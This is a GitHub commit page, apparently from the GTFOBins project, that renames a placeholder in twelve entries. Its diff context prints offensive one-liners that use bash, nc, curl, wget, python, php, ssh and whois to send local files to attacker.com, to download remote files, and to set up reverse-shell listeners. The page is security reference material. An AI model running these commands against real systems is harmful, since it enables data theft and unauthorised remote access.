Skip to content

Commit

Permalink
Replace where_to_save with file_to_save
Browse files Browse the repository at this point in the history
  • Loading branch information
epinna committed Jun 4, 2018
1 parent 6a747b0 commit 7e5bcab
Show file tree
Hide file tree
Showing 12 changed files with 19 additions and 19 deletions.
2 changes: 1 addition & 1 deletion _gtfobins/bash.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ functions:
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
code: |
export RHOST=attacker.com
export RPORT=12345
Expand Down
2 changes: 1 addition & 1 deletion _gtfobins/curl.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,6 @@ functions:
- description: Fetch a remote file via HTTP GET request.
code: |
URL=http://attacker.com/file_to_get
LFILE=where_to_save
LFILE=file_to_save
curl $URL -o $LFILE
---
2 changes: 1 addition & 1 deletion _gtfobins/ksh.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@ functions:
export RPORT=12345
export LFILE=file_to_send
ksh -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
code: |
export RHOST=attacker.com
export RPORT=12345
Expand Down
4 changes: 2 additions & 2 deletions _gtfobins/nc.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
---
functions:
upload:
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
- description: Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
code: |
RHOST=attacker.com
RPORT=12345
Expand All @@ -11,7 +11,7 @@ functions:
- description: Fetch remote file from a remote TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file.
code: |
LPORT=12345
LFILE=where_to_save
LFILE=file_to_save
nc -l -p $LPORT > "$LFILE"
reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
Expand Down
2 changes: 1 addition & 1 deletion _gtfobins/php.md
Original file line number Diff line number Diff line change
Expand Up @@ -38,7 +38,7 @@ functions:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
export LFILE=file_to_save
php -r '$c=file_get_contents(getenv("URL"));file_put_contents(getenv("LFILE"), $c);'
reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
Expand Down
2 changes: 1 addition & 1 deletion _gtfobins/python2.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ functions:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
export LFILE=file_to_save
python2 -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
reverse-shell-interactive:
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> on the attacker box to receive the shell.
Expand Down
2 changes: 1 addition & 1 deletion _gtfobins/python3.md
Original file line number Diff line number Diff line change
Expand Up @@ -20,7 +20,7 @@ functions:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
export LFILE=file_to_save
python3 -c 'import urllib.request as u;from os import environ as e; u.urlretrieve (e["URL"], e["LFILE"])'
reverse-shell-interactive:
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> on the attacker box to receive the shell.
Expand Down
4 changes: 2 additions & 2 deletions _gtfobins/scp.md
Original file line number Diff line number Diff line change
Expand Up @@ -24,13 +24,13 @@ functions:
upload:
- description: Send local file to a SSH server.
code: |
RPATH=user@attacker.com:~/where_to_save
RPATH=user@attacker.com:~/file_to_save
LPATH=file_to_send
scp $LFILE $RPATH
download:
- description: Fetch a remote file from a SSH server.
code: |
RPATH=user@attacker.com:~/file_to_get
LFILE=where_to_save
LFILE=file_to_save
scp $RPATH $LFILE
---
4 changes: 2 additions & 2 deletions _gtfobins/sftp.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,11 +15,11 @@ functions:
code: |
RHOST=user@attacker.com
sftp $RHOST
put file_to_send where_to_save
put file_to_send file_to_save
download:
- description: Fetch a remote file from a SSH server.
code: |
RHOST=user@attacker.com
sftp $RHOST
get file_to_get where_to_save
get file_to_get file_to_save
---
4 changes: 2 additions & 2 deletions _gtfobins/ssh.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,13 +13,13 @@ functions:
code: |
HOST=user@attacker.com
RPATH=file_to_get
LPATH=where_to_save
LPATH=file_to_save
ssh $HOST "cat $RPATH" > $LPATH
upload:
- description: Send local file to a SSH server.
code: |
HOST=user@attacker.com
RPATH=where_to_save
RPATH=file_to_save
LPATH=file_to_send
ssh $HOST "cat > $RPATH" < $LPATH
file-read:
Expand Down
2 changes: 1 addition & 1 deletion _gtfobins/wget.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,6 @@ functions:
- description: Fetch a remote file via HTTP GET request.
code: |
export URL=http://attacker.com/file_to_get
export LFILE=where_to_save
export LFILE=file_to_save
wget $URL -O $LFILE
---
8 changes: 4 additions & 4 deletions _gtfobins/whois.md
Original file line number Diff line number Diff line change
Expand Up @@ -3,13 +3,13 @@ description: |
`whois` hangs waiting for the remote peer to close the socket.
functions:
upload:
- description: Send a text file to a TCP port. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file. The file has a trailing `$'\x0d\x0a'` and its length is limited by the maximum size of arguments.
- description: Send a text file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. The file has a trailing `$'\x0d\x0a'` and its length is limited by the maximum size of arguments.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=file_to_send
whois -h $RHOST -p $RPORT "`cat $LFILE`"
- description: Send a binary file to a TCP port. Run `nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "where_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.
- description: Send a binary file to a TCP port. Run `nc -l -p 12345 | tr -d $'\x0d' | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.
code: |
RHOST=attacker.com
RPORT=12345
Expand All @@ -20,12 +20,12 @@ functions:
code: |
RHOST=attacker.com
RPORT=12345
LFILE=where_to_save
LFILE=file_to_save
whois -h $RHOST -p $RPORT > "$LFILE"
- description: Fetch remote binary file from a remote TCP port. Run `base64 "file_to_send" | nc -l -p 12345` on the attacker box to send the file.
code: |
RHOST=attacker.com
RPORT=12345
LFILE=where_to_save
LFILE=file_to_save
whois -h $RHOST -p $RPORT | base64 -d > "$LFILE"
---

0 comments on commit 7e5bcab

Please sign in to comment.